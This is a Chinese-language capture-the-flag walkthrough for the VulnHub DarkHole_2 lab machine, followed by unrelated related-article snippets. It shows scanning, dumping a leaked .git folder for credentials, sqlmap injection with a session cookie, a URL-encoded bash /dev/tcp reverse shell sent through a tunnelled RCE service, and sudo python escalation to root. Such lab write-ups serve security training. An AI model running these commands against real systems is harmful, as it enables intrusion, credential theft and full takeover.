VulnHub-DarkHole_2靶机渗透教程

1.靶机部署

[Onepanda] Mik1ysomething

靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip

直接使用VMware导入打开就行

注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这样kali才能扫出靶机的地址。

2.信息收集

2.1 获取靶机ip(arp-scan/nmap)

2.信息收集

2.1 获取靶机ip(arp-scan/nmap)

arp-scan -l
nmap 192.168.135.0/24

2.2 详细信息扫描(nmap)

nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.135
nmap -sS -p---min-rate 10000 $ip

发现开放了80端口,访问一下看看

2.3 敏感目录扫描(dirsearch/dirb/gobuster/御剑/7bscan)

dirsearch -u http://192.168.135.135 -e *
dirb http://192.168.135.135

2.4 指纹收集(whatweb)

whatweb -v 192.168.135.135

3.渗透过程

3.1 访问敏感目录文件

信息收集时发现存在.git目录,访问存在文件

3.2 git文件泄露

使用git-dumper工具分析git文件

没有的话安装地址:git-dumper/README.md at master · arthaud/git-dumper · GitHub

git-dumper: 一个.git文件夹的dump取,但是这个工具dump下的文件是可以执行git命令的

3.2.1 git-dumper下载git文件夹的内容到bf目录文件夹

3.2.2 bf文件夹中查看日志

git log命令解释:

3.2.3 对比三次提交

使用git里面的diff参数获得当前工作目录和上次提交的差距,三个哈希值一个一个尝试。

git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4
​
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
​
git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917

尝试到第二个发现一组用户名和密码信息

lush/321
lush@admin.com/321

3.3 登录网页

前面信息收集还有一个web网页端,尝试登录

登录成功

进入页面发现url里面存在id=1,发现id值是不是想到SQL注入。

当我们将id的值设置0或者null页面的消息消失。

尝试后面加个单引号,发现报错,确定存在SQL注入

3.4 SQL注入

3.4.1 获取网站的cookie的值

直接f12刷新找回包(不会?找不到?直接私信我手把手教你)

3.4.2 利用获取的cookie的值进行爆破(sqlmap)

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 --current-db
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -dbs
sqlmap爆破得到数据库名darkhole_2
sqlmap基本操作笔记:
-u  #注入点 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 

3.4.3 获取数据库darkhole_2下的表名

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 --tables --batch
爆破得到两个表ssh/users

3.4.4 获取表里的列信息

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T users -dump
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T ssh -dump
爆破得到ssh用户名和密码
jehad/fool

3.4.5 SSH连接

ssh jehad@192.168.135.135
jehad/fool

3.5 提权

3.5.1 查看权限

3.5.2 查找SUID文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

3.5.3 查看计划任务

cat /etc/crontab

查看一下/opt/web下的文件内容

发现允许远程命令执行

3.5.4 查看历史命令

cat .bash_history

3.5.5 查看/etc/passwd文件

cat /etc/passwd |grep "bin/bash"
发现多个用户

3.5.6 详细查看服务(命令执行)

curl "http://localhost:9999/?cmd=cat%20/etc/passwd"
curl "http://localhost:9999/?cmd=id"

可以查看到这个服务归属于用户losy

3.5.7 获取losy权限

重新登录ssh,使本地端口与靶机端口映射,访问本地端口转发到靶机
ssh jehad@192.168.135.135 -L 9999:localhost:9999
ssh -L 9999:127.0.0.1:9999 jehad@192.168.135.135

3.5.8 反弹shell

在之前我们通过查看历史命令发现可以进行远程命令执行,而命令执行的角色属性是losy用户的。使用SSH 隧道连接端口 9999,访问 127.0.0.1:9999 进行 RCE。

kali构造
bash -c 'sh -i >& /dev/tcp/192.168.135.129/1234 0>&1'
url编码:
bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

kali使用nc开启端口监听

nc -lvnp 1234

kali可以在浏览器直接访问:

http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

也可以通过curl的访问

curl http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

成功拿到losy权限

直接交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

历史命令history查看发现password密码:gang

直接ssh连接losy用户

ssh losy@192.168.135.135

sudo -l
利用python提权
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo python3 -c 'import os; os.system("/bin/bash")' 

cd /root
​
cat root.txt
​
获取到flag文件

本篇文章渗透结束 感谢大家的观看!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/902616.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

USO服务器操作系统手动升级GCC 12.2.0版本

1. 从 GNU 官方 FTP 服务器下载 GCC 12.2.0 的源码包,并解压进入源码目录。 wget https://ftp.gnu.org/gnu/gcc/gcc-12.2.0/gcc-12.2.0.tar.gz tar -zxvf gcc-12.2.0.tar.gz cd gcc-12.2.0 2. 运行脚本下载并配置 GCC 编译所需的依赖库。此步骤会自动下载如 GMP…

设计模式基础概念(行为模式):观察者模式(Observer)

概述 我们可以发现这样一个场景:如果你订阅了一份杂志或报纸, 那就不需要再去报摊查询新出版的刊物了。 出版社 (即应用中的 “发布者(publisher)”) 会在刊物出版后 (甚至提前) 直…

JavaFX实战:从零到一实现一个功能丰富的“高级反应速度测试”游戏

大家好!今天我们不搞简单的“红变绿就点”了,来点硬核的!我们要用 JavaFX 从头开始,构建一个更复杂、更有趣也更考验能力的“高级反应速度测试”游戏。这个版本将引入选择反应时 (Choice Reaction Time) 的概念——你需要在多个干…

CSS 选择器介绍

CSS 选择器介绍 1. 基本概念 CSS(层叠样式表)是一种用于描述 HTML 或 XML 文档外观的语言。通过 CSS,可以控制网页中元素的布局、颜色、字体等视觉效果。而 CSS 选择器则是用来指定哪些 HTML 元素应该应用这些样式的工具。 2. 基本选择器 …

Vue3父子组件数据同步方法

在 Vue 3 中&#xff0c;当子组件需要修改父组件传递的数据副本并同步更新时&#xff0c;可以通过以下步骤实现&#xff1a; 方法 1&#xff1a;使用 v-model 和计算属性&#xff08;实时同步&#xff09; 父组件&#xff1a; vue <template><ChildComponent v-mo…

el-table中el-input的autofocus无法自动聚焦的解决方案

需求 有一个表格展示了一些进度信息&#xff0c;进度信息可以修改&#xff0c;需要点击进度信息旁边的编辑按钮时&#xff0c;把进度变为输入框且自动聚焦&#xff0c;当鼠标失去焦点时自动请求更新接口。 注&#xff1a;本例以vue2 element UI为例 分析 这个需求看着挺简单…

用高斯溅射技术跨越机器人模拟与现实的鸿沟:SplatSim 框架解析

在机器人领域&#xff0c;让机器人在现实世界中精准执行任务是大家一直追求的目标。可模拟环境和现实世界之间存在着不小的差距&#xff0c;特别是基于 RGB 图像的操作策略&#xff0c;从模拟转移到现实时总是状况百出。 今天咱们就来聊聊 SplatSim 框架&#xff0c;看看它是怎…

【自然语言处理与大模型】如何知道自己部署的模型的最大并行访问数呢?

当你自己在服务器上部署好一个模型后&#xff0c;使用场景会有两种。第一种就是你自己去玩&#xff0c;结合自有的数据做RAG等等&#xff0c;这种情况下一般是不会考虑并发的问题。第二种是将部署好的服务给到别人来使用&#xff0c;这时候就必须知道我的服务到底支持多大的访问…

[FPGA基础] UART篇

Xilinx FPGA UART 硬件接口使用指南 1. 引言 UART (通用异步收发器) 是一种广泛使用的串行通信接口&#xff0c;因其简单、可靠和易于实现而成为 Xilinx FPGA 设计中的常见硬件接口。UART 用于在 FPGA 与外部设备&#xff08;如 PC、微控制器、传感器等&#xff09;之间进行数…

【Netty4核心原理】【全系列文章目录】

文章目录 一、前言二、目录 一、前言 本系列虽说本意是作为 《Netty4 核心原理》一书的读书笔记&#xff0c;但在实际阅读记录过程中加入了大量个人阅读的理解和内容&#xff0c;因此对书中内容存在大量删改。 本系列内容基于 Netty 4.1.73.Final 版本&#xff0c;如下&#xf…

用 PyTorch 和numpy分别实现简单的 CNN 二分类器

作业用到的知识&#xff1a; 1.Pytorch: 1. nn.Conv2d&#xff08;二维卷积层&#xff09; 作用&#xff1a; 对输入的多通道二位数据&#xff08;如图像&#xff09;进行特征提取&#xff0c;通过滑动卷积核计算局部区域的加权和&#xff0c;生成新的特征图。 关键参数&a…

使用n8n构建自动化工作流:从数据库查询到邮件通知的使用指南

n8n是一款强大的开源工作流自动化工具&#xff0c;可以帮助你将各种服务和应用程序连接起来&#xff0c;创建复杂的自动化流程。下面我将详细介绍一个实用的n8n用例&#xff1a;从MySQL数据库查询数据并发送邮件通知&#xff0c;包括使用场景、搭建步骤和节点部署方法。 使用场…

Vscode已经打开的python项目,如何使用已经建立的虚拟环境

在 VS Code 中使用已创建的 Conda/Mamba 虚拟环境 pe100&#xff0c;只需以下几步&#xff1a; 步骤 1&#xff1a;确保虚拟环境已存在 在终端运行以下命令&#xff0c;检查 pe100 环境是否已正确创建&#xff1a; conda activate pe100 python --version # 应显示 Python 3…

Volatility工具学习

背景 VMware虚拟机系统hang死&#xff0c;手动重启无法触发系统panic&#xff0c;从而不能触发kdump产生vmcore文件进行原因分析&#xff1b;此种情况下需要手动生成虚拟机内存快照&#xff0c;进而利用Volatility工具分析系统hang死的具体原因。 配置 使用VMware创建虚拟机…

学习笔记(C++篇)--- Day 4

目录 1.赋值运算符重载 1.1 运算符重载 1.2 赋值运算符重载 1.3 日期类实现 1.赋值运算符重载 1.1 运算符重载 ①当运算符被用于类类型的对象时&#xff0c;C语言允许我们通过通过运算符重载的形式指定新的含义。C规定类类型对象使用运算符时&#xff0c;必须转换成调用对…

Docker 快速入门教程

1. Docker 基本概念 镜像(Image): 只读模板&#xff0c;包含创建容器的指令 容器(Container): 镜像的运行实例 Dockerfile: 用于构建镜像的文本文件 仓库(Repository): 存放镜像的地方&#xff08;如Docker Hub&#xff09; 2. 安装Docker 根据你的操作系统选择安装方式:…

vue项目中使用tinymce富文本编辑器

vue使用tinymce 文章目录 vue使用tinymcetinymce富文本编辑器在这里插入图片描述 一、本文要实现二、使用步骤1.安装tinymce2.tinymce组件新建3. 在store添加商品详情的状态管理4. tinymce组件的引入 tinymce富文本编辑器 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下…

简单适配torch_npu不支持的ATen算子

简单适配torch_npu不支持的ATen算子 一、背景说明1.1 PyTorch扩展机制1.2 核心概念二、实现步骤详解2.1 实现前向、反向传播算子2.2 编译生成动态库2.3 测试验证程序三、关键点解析3.1 设计注意事项3.2 性能优化方向四、验证结果一、背景说明 1.1 PyTorch扩展机制 PrivateUse1…

同样的html标记,不同语言的文本,显示的字体和粗细会不一样吗

同样的 HTML 标记&#xff0c;在不同语言的文本下&#xff0c;显示出来的字体和粗细确实可能会不一样&#xff0c;原因如下&#xff1a; &#x1f30d; 不同语言默认字体不同 浏览器字体回退机制 CSS 里写的字体如果当前系统不支持&#xff0c;就会回退到下一个&#xff0c;比如…

基于 Spring Boot 瑞吉外卖系统开发(六)

基于 Spring Boot 瑞吉外卖系统开发&#xff08;六&#xff09; 菜品列表 在系统管理端首页&#xff0c;单击左侧菜单栏中的“菜品管理”&#xff0c;会在右侧打开菜品管理页面。 请求URL/dish/page&#xff0c;请求方法GET,请求参数page&#xff0c;pageSize。 该菜品列表…